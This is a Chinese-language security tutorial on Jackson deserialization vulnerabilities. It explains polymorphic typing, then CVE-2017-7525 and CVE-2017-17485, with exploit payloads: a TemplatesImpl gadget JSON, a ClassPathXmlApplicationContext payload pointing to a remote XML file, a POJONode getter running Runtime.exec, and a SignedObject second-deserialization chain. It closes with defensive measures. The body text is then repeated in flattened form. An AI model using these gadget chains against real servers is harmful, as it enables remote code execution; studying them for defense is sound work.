深入浅出解析Jackson反序列化
字数 2278 2025-08-20 18:17:48

Jackson反序列化深度解析与安全实践

一、Jackson框架概述

1.1 基本介绍

Jackson是当前广泛使用的Java开源JSON处理框架,具有以下核心特点:

  • Spring MVC默认JSON解析器
  • 高性能:解析大文件速度快,内存占用低
  • 模块化设计:核心由三个组件构成
  • 灵活API:易于扩展和定制

1.2 核心组件

  1. jackson-core:提供基于"流模式"解析的API

    • JsonParser:解析JSON
    • JsonGenerator:生成JSON
  2. jackson-annotations:提供标准注解功能

  3. jackson-databind:提供高级API

    • ObjectMapper:对象绑定解析
    • JsonNode:树模型解析

1.3 Maven依赖

<dependencies>
    <dependency>
        <groupId>com.fasterxml.jackson.core</groupId>
        <artifactId>jackson-databind</artifactId>
        <version>2.9.3</version>
    </dependency>
    <dependency>
        <groupId>com.fasterxml.jackson.core</groupId>
        <artifactId>jackson-core</artifactId>
        <version>2.9.3</version>
    </dependency>
    <dependency>
        <groupId>com.fasterxml.jackson.core</groupId>
        <artifactId>jackson-annotations</artifactId>
        <version>2.9.3</version>
    </dependency>
</dependencies>

二、核心API详解

2.1 ObjectMapper使用

2.1.1 JSON转对象

String json = "{\"name\":\"John\", \"age\":30}";
ObjectMapper objectMapper = new ObjectMapper();
Person person = objectMapper.readValue(json, Person.class);

2.1.2 对象转JSON

Person person = new Person();
person.setAge(123);
person.setName("fakes0u1");

String jsonString = objectMapper.writeValueAsString(person);
// 或写入文件
objectMapper.writeValue(new File("person.json"), person);

2.2 JsonParser底层解析

String json = "{\"name\":\"fakes0u1\",\"age\":123}";
JsonFactory jsonFactory = new JsonFactory();
JsonParser parser = jsonFactory.createParser(json);

while (!parser.isClosed()) {
    JsonToken jsonToken = parser.nextToken();
    System.out.println(jsonToken);
}

2.3 JsonGenerator生成JSON

JsonFactory jsonFactory = new JsonFactory();
JsonGenerator jsonGenerator = jsonFactory.createGenerator(
    new File("output.json"), JsonEncoding.UTF8);

jsonGenerator.writeStartObject();
jsonGenerator.writeStringField("name", "fakes0u1");
jsonGenerator.writeNumberField("age", 123);
jsonGenerator.writeEndObject();
jsonGenerator.close();

三、多态处理机制

3.1 DefaultTyping机制

3.1.1 四种类型

类型 描述
JAVA_LANG_OBJECT 当属性为Object类型时处理
OBJECT_AND_NON_CONCRETE 处理Object、Interface、AbstractClass(默认)
NON_CONCRETE_AND_ARRAYS 处理Object、Interface、AbstractClass、Array
NON_FINAL 处理所有非final属性

3.1.2 使用示例

ObjectMapper objectMapper = new ObjectMapper();
objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.OBJECT_AND_NON_CONCRETE);

3.2 @JsonTypeInfo注解

3.2.1 五种类型

@JsonTypeInfo(use = JsonTypeInfo.Id.NONE)    // 不使用识别码
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)   // 完全限定类名
@JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS) // 最小化类名
@JsonTypeInfo(use = JsonTypeInfo.Id.NAME)    // 使用指定名称
@JsonTypeInfo(use = JsonTypeInfo.Id.CUSTOM) // 自定义

3.2.2 示例对比

// 使用CLASS
{"@class":"jackson.Hacker","skill":"moyu"}

// 使用MINIMAL_CLASS
{"@c":"jackson.Hacker","skill":"moyu"}

// 使用NAME
{"@type":"Hacker","skill":"moyu"}

四、反序列化漏洞原理

4.1 漏洞触发条件

满足以下任一条件即可触发:

  1. 调用了ObjectMapper.enableDefaultTyping()
  2. 使用@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
  3. 使用@JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS)

4.2 攻击面分析

4.2.1 无Object属性

依赖目标类中:

  • 构造方法存在危险代码
  • setter方法存在危险代码

4.2.2 有Object属性

可利用服务端存在的任何满足条件的类:

  • 构造函数或setter方法存在漏洞
  • 类在classpath中可访问

4.3 反序列化流程

  1. 实例化阶段:通过无参构造函数创建对象
  2. 属性赋值阶段:通过setter方法或直接字段赋值

五、典型漏洞分析

5.1 CVE-2017-7525(TemplatesImpl链)

5.1.1 影响版本

  • Jackson 2.6系列 < 2.6.7.1
  • Jackson 2.7系列 < 2.7.9.1
  • Jackson 2.8系列 < 2.8.8.1
  • JDK 1.7

5.1.2 利用关键点

{
  "object": [
    "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
    {
      "transletBytecodes": ["base64编码的恶意类字节码"],
      "transletName": "fakes0u1",
      "outputProperties": {}
    }
  ]
}

5.1.3 高版本限制

JDK高版本中因_factory属性为null导致异常

5.2 CVE-2017-17485(ClassPathXmlApplicationContext链)

5.2.1 影响版本

  • Jackson 2.7系列 < 2.7.9.2
  • Jackson 2.8系列 < 2.8.11
  • Jackson 2.9系列 < 2.9.4

5.2.2 利用方式

String payload = "[\"org.springframework.context.support.ClassPathXmlApplicationContext\", \"http://127.0.0.1/spel.xml\"]";
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
mapper.readValue(payload, Object.class);

5.2.3 补丁分析

新增校验:

  1. 类名黑名单过滤
  2. 检查是否以org.springframe开头
  3. 检查父类是否为AbstractPointcutAdvisorAbstractApplicationContext

六、高级利用技术

6.1 PojoNode通杀利用

6.1.1 利用条件

  1. 不需要存在该属性
  2. getter方法有返回值
  3. 最好只有一个getter方法

6.1.2 示例代码

public class Evil {
    public Object getCmd() {
        Runtime.getRuntime().exec("calc");
        return "exploited";
    }
}

POJONode jsonNodes = new POJONode(new Evil());
jsonNodes.toString(); // 触发getCmd()

6.2 二次反序列化(SignObject链)

6.2.1 利用链构造

// 1. 创建恶意TemplatesImpl
TemplatesImpl templatesImpl = ...;

// 2. 包装为POJONode
POJONode jsonNodes2 = new POJONode(templatesImpl);

// 3. 创建BadAttributeValueExpException
BadAttributeValueExpException exp2 = new BadAttributeValueExpException(null);
Field val2 = BadAttributeValueExpException.class.getDeclaredField("val");
val2.setAccessible(true);
val2.set(exp2, jsonNodes2);

// 4. 创建SignedObject包装
SignedObject signedObject = new SignedObject(exp2, privateKey, signingEngine);

// 5. 再次包装为POJONode
POJONode jsonNodes = new POJONode(signedObject);

// 6. 最终异常对象
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Field val = BadAttributeValueExpException.class.getDeclaredField("val");
val.setAccessible(true);
val.set(exp, jsonNodes);

6.2.2 触发流程

  1. BadAttributeValueExpException.toString()
  2. POJONode.toString()
  3. SignedObject.getObject()触发二次反序列化
  4. 最终执行TemplatesImpl.getOutputProperties()

七、防御措施

  1. 升级Jackson版本:使用已修复漏洞的最新版本
  2. 禁用DefaultTyping:避免使用enableDefaultTyping()
  3. 使用安全注解:谨慎使用@JsonTypeInfo注解
  4. 输入过滤:对反序列化的JSON数据进行严格校验
  5. 类白名单:实现自定义的反序列化类检查机制

八、调试技巧

  1. 关键断点

    • BeanDeserializer.deserialize()
    • deserializeAndSet()
    • createUsingDefault()(构造函数调用)
  2. 调用栈分析

    • 关注JsonParser的令牌处理流程
    • 跟踪多态类型的解析过程
    • 监控危险方法的调用链

九、总结

Jackson反序列化漏洞的核心在于多态类型处理机制被滥用。理解DefaultTyping@JsonTypeInfo的工作原理是分析这类漏洞的基础,而掌握各种利用链的构造方式则是实战中的关键。防御方面应重点关注类型处理的严格控制和输入验证。

Jackson反序列化深度解析与安全实践 一、Jackson框架概述 1.1 基本介绍 Jackson是当前广泛使用的Java开源JSON处理框架,具有以下核心特点: Spring MVC默认JSON解析器 高性能:解析大文件速度快,内存占用低 模块化设计:核心由三个组件构成 灵活API:易于扩展和定制 1.2 核心组件 jackson-core :提供基于"流模式"解析的API JsonParser:解析JSON JsonGenerator:生成JSON jackson-annotations :提供标准注解功能 jackson-databind :提供高级API ObjectMapper:对象绑定解析 JsonNode:树模型解析 1.3 Maven依赖 二、核心API详解 2.1 ObjectMapper使用 2.1.1 JSON转对象 2.1.2 对象转JSON 2.2 JsonParser底层解析 2.3 JsonGenerator生成JSON 三、多态处理机制 3.1 DefaultTyping机制 3.1.1 四种类型 | 类型 | 描述 | |------|------| | JAVA_ LANG_ OBJECT | 当属性为Object类型时处理 | | OBJECT_ AND_ NON_ CONCRETE | 处理Object、Interface、AbstractClass(默认) | | NON_ CONCRETE_ AND_ ARRAYS | 处理Object、Interface、AbstractClass、Array | | NON_ FINAL | 处理所有非final属性 | 3.1.2 使用示例 3.2 @JsonTypeInfo注解 3.2.1 五种类型 3.2.2 示例对比 四、反序列化漏洞原理 4.1 漏洞触发条件 满足以下任一条件即可触发: 调用了 ObjectMapper.enableDefaultTyping() 使用 @JsonTypeInfo(use = JsonTypeInfo.Id.CLASS) 使用 @JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS) 4.2 攻击面分析 4.2.1 无Object属性 依赖目标类中: 构造方法存在危险代码 setter方法存在危险代码 4.2.2 有Object属性 可利用服务端存在的任何满足条件的类: 构造函数或setter方法存在漏洞 类在classpath中可访问 4.3 反序列化流程 实例化阶段 :通过无参构造函数创建对象 属性赋值阶段 :通过setter方法或直接字段赋值 五、典型漏洞分析 5.1 CVE-2017-7525(TemplatesImpl链) 5.1.1 影响版本 Jackson 2.6系列 < 2.6.7.1 Jackson 2.7系列 < 2.7.9.1 Jackson 2.8系列 < 2.8.8.1 JDK 1.7 5.1.2 利用关键点 5.1.3 高版本限制 JDK高版本中因 _factory 属性为null导致异常 5.2 CVE-2017-17485(ClassPathXmlApplicationContext链) 5.2.1 影响版本 Jackson 2.7系列 < 2.7.9.2 Jackson 2.8系列 < 2.8.11 Jackson 2.9系列 < 2.9.4 5.2.2 利用方式 5.2.3 补丁分析 新增校验: 类名黑名单过滤 检查是否以 org.springframe 开头 检查父类是否为 AbstractPointcutAdvisor 或 AbstractApplicationContext 六、高级利用技术 6.1 PojoNode通杀利用 6.1.1 利用条件 不需要存在该属性 getter方法有返回值 最好只有一个getter方法 6.1.2 示例代码 6.2 二次反序列化(SignObject链) 6.2.1 利用链构造 6.2.2 触发流程 BadAttributeValueExpException.toString() POJONode.toString() SignedObject.getObject() 触发二次反序列化 最终执行 TemplatesImpl.getOutputProperties() 七、防御措施 升级Jackson版本 :使用已修复漏洞的最新版本 禁用DefaultTyping :避免使用 enableDefaultTyping() 使用安全注解 :谨慎使用 @JsonTypeInfo 注解 输入过滤 :对反序列化的JSON数据进行严格校验 类白名单 :实现自定义的反序列化类检查机制 八、调试技巧 关键断点 : BeanDeserializer.deserialize() deserializeAndSet() createUsingDefault() (构造函数调用) 调用栈分析 : 关注 JsonParser 的令牌处理流程 跟踪多态类型的解析过程 监控危险方法的调用链 九、总结 Jackson反序列化漏洞的核心在于多态类型处理机制被滥用。理解 DefaultTyping 和 @JsonTypeInfo 的工作原理是分析这类漏洞的基础,而掌握各种利用链的构造方式则是实战中的关键。防御方面应重点关注类型处理的严格控制和输入验证。